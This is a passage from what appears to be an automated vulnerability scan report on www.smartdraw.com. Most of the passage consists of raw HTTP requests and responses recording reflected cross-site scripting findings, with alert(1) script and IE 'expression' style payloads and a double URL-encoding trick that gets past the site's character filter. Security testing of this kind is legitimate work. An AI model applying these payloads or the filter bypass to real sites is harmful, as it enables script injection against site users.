This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /productc202c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25221983cde1eb1/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:44 GMT Content-Length: 8760 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:44 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:44 GMT; path=/ Set-Cookie: ASP.NET_SessionId=yytjsqjo2ynqqa55mlvyit45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:44 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a64e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252279d9addfb9a was submitted in the REST URL parameter 2. This input was echoed as 9a64e"style="x:expression(alert(1))"79d9addfb9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/9a64e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252279d9addfb9a HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:57 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:57 GMT; path=/ Set-Cookie: ASP.NET_SessionId=4ccossevexhpky454jv13azr; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8739 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7026%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d34dba31b1e was submitted in the REST URL parameter 2. This input was echoed as e7026"style="x:expression(alert(1))"d34dba31b1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/x22e7026%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d34dba31b1e HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:53 GMT Content-Length: 8760 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:53 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:53 GMT; path=/ Set-Cookie: ASP.NET_SessionId=5ppvdnq4c02bbb55spc4py55; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.167. http://www.smartdraw.com/product/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/product/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 146c3"style%3d"x%3aexpression(alert(1))"5d5d2fc8c51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 146c3"style="x:expression(alert(1))"5d5d2fc8c51 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/x22?146c3"style%3d"x%3aexpression(alert(1))"5d5d2fc8c51=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:36 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:36 GMT; path=/ Set-Cookie: ASP.NET_SessionId=uaszcl55vdwks2faid1tcq45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8781 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.168. http://www.smartdraw.com/product/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/product/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbd65"style%3d"x%3aexpression(alert(1))"a43b560b887 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as fbd65"style="x:expression(alert(1))"a43b560b887 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /product/x22?fbd65"style%3d"x%3aexpression(alert(1))"a43b560b887=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:38 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:38 GMT; path=/ Set-Cookie: ASP.NET_SessionId=k3dxer55b03zcg45gc2kh5b5; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8781 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80d8a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b9c460ef3f1 was submitted in the REST URL parameter 2. This input was echoed as 80d8a"style="x:expression(alert(1))"b9c460ef3f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/80d8a%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b9c460ef3f1/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:31 GMT Content-Length: 8774 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: ASP.NET_SessionId=gvwmqnneobzhy02artx2kqbp; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1cdd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252248d79440d3f was submitted in the REST URL parameter 2. This input was echoed as a1cdd"style="x:expression(alert(1))"48d79440d3f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/a1cdd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252248d79440d3f/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:33 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:34 GMT; path=/ Set-Cookie: ASP.NET_SessionId=b00pwu55pf2clt55u0k5o0rq; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.171. http://www.smartdraw.com/specials/diagram.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/diagram.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d74b"><script>alert(1)</script>7dda0913f6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/diagram.asp/x22?8d74b"><script>alert(1)</script>7dda0913f6b=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.172. http://www.smartdraw.com/specials/diagram.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/diagram.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f932a"><script>alert(1)</script>9f207111f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/diagram.asp/x22?f932a"><script>alert(1)</script>9f207111f3=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b7f6%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522722649758a8 was submitted in the REST URL parameter 2. This input was echoed as 9b7f6"style="x:expression(alert(1))"722649758a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/9b7f6%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522722649758a8/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:33 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:33 GMT; path=/ Set-Cookie: ASP.NET_SessionId=n40tt5554keayxr2thqf5345; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb652%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223dd903a5e32 was submitted in the REST URL parameter 2. This input was echoed as fb652"style="x:expression(alert(1))"3dd903a5e32 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/fb652%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223dd903a5e32/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:30 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:30 GMT; path=/ Set-Cookie: ASP.NET_SessionId=zbprv0455f2woe45n1vggnmm; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.175. http://www.smartdraw.com/specials/floorplans.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/floorplans.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be86b"><script>alert(1)</script>3870aea577b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/floorplans.asp/x22?be86b"><script>alert(1)</script>3870aea577b=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.176. http://www.smartdraw.com/specials/floorplans.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/floorplans.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43486"><script>alert(1)</script>d3e5d5a301c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/floorplans.asp/x22?43486"><script>alert(1)</script>d3e5d5a301c=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3212f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522de74a7c05db was submitted in the REST URL parameter 2. This input was echoed as 3212f"style="x:expression(alert(1))"de74a7c05db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/3212f%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522de74a7c05db/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:22 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:22 GMT; path=/ Set-Cookie: ASP.NET_SessionId=gfjqohyflklzjc3jlpnhf155; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77d5c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522e0eacf7515f was submitted in the REST URL parameter 2. This input was echoed as 77d5c"style="x:expression(alert(1))"e0eacf7515f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/77d5c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522e0eacf7515f/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:21 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:21 GMT; path=/ Set-Cookie: ASP.NET_SessionId=ivhntdeja4wz04jdiflpz5ap; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.179. http://www.smartdraw.com/specials/flowchart.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/flowchart.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5bdc"><script>alert(1)</script>30cb10048cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/flowchart.asp/x22?c5bdc"><script>alert(1)</script>30cb10048cf=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.180. http://www.smartdraw.com/specials/flowchart.asp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/specials/flowchart.asp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d17f1"><script>alert(1)</script>da242985d73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /specials/flowchart.asp/x22?d17f1"><script>alert(1)</script>da242985d73=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5919c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d2a7fce664a was submitted in the REST URL parameter 3. This input was echoed as 5919c"style="x:expression(alert(1))"d2a7fce664a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /specials/sd/5919c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522d2a7fce664a HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:34 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:34 GMT; path=/ Set-Cookie: ASP.NET_SessionId=obr3du45zbuce445aaaygqnk; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8767 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d6a8%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25220f4e3cd6ed9 was submitted in the REST URL parameter 3. This input was echoed as 6d6a8"style="x:expression(alert(1))"0f4e3cd6ed9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
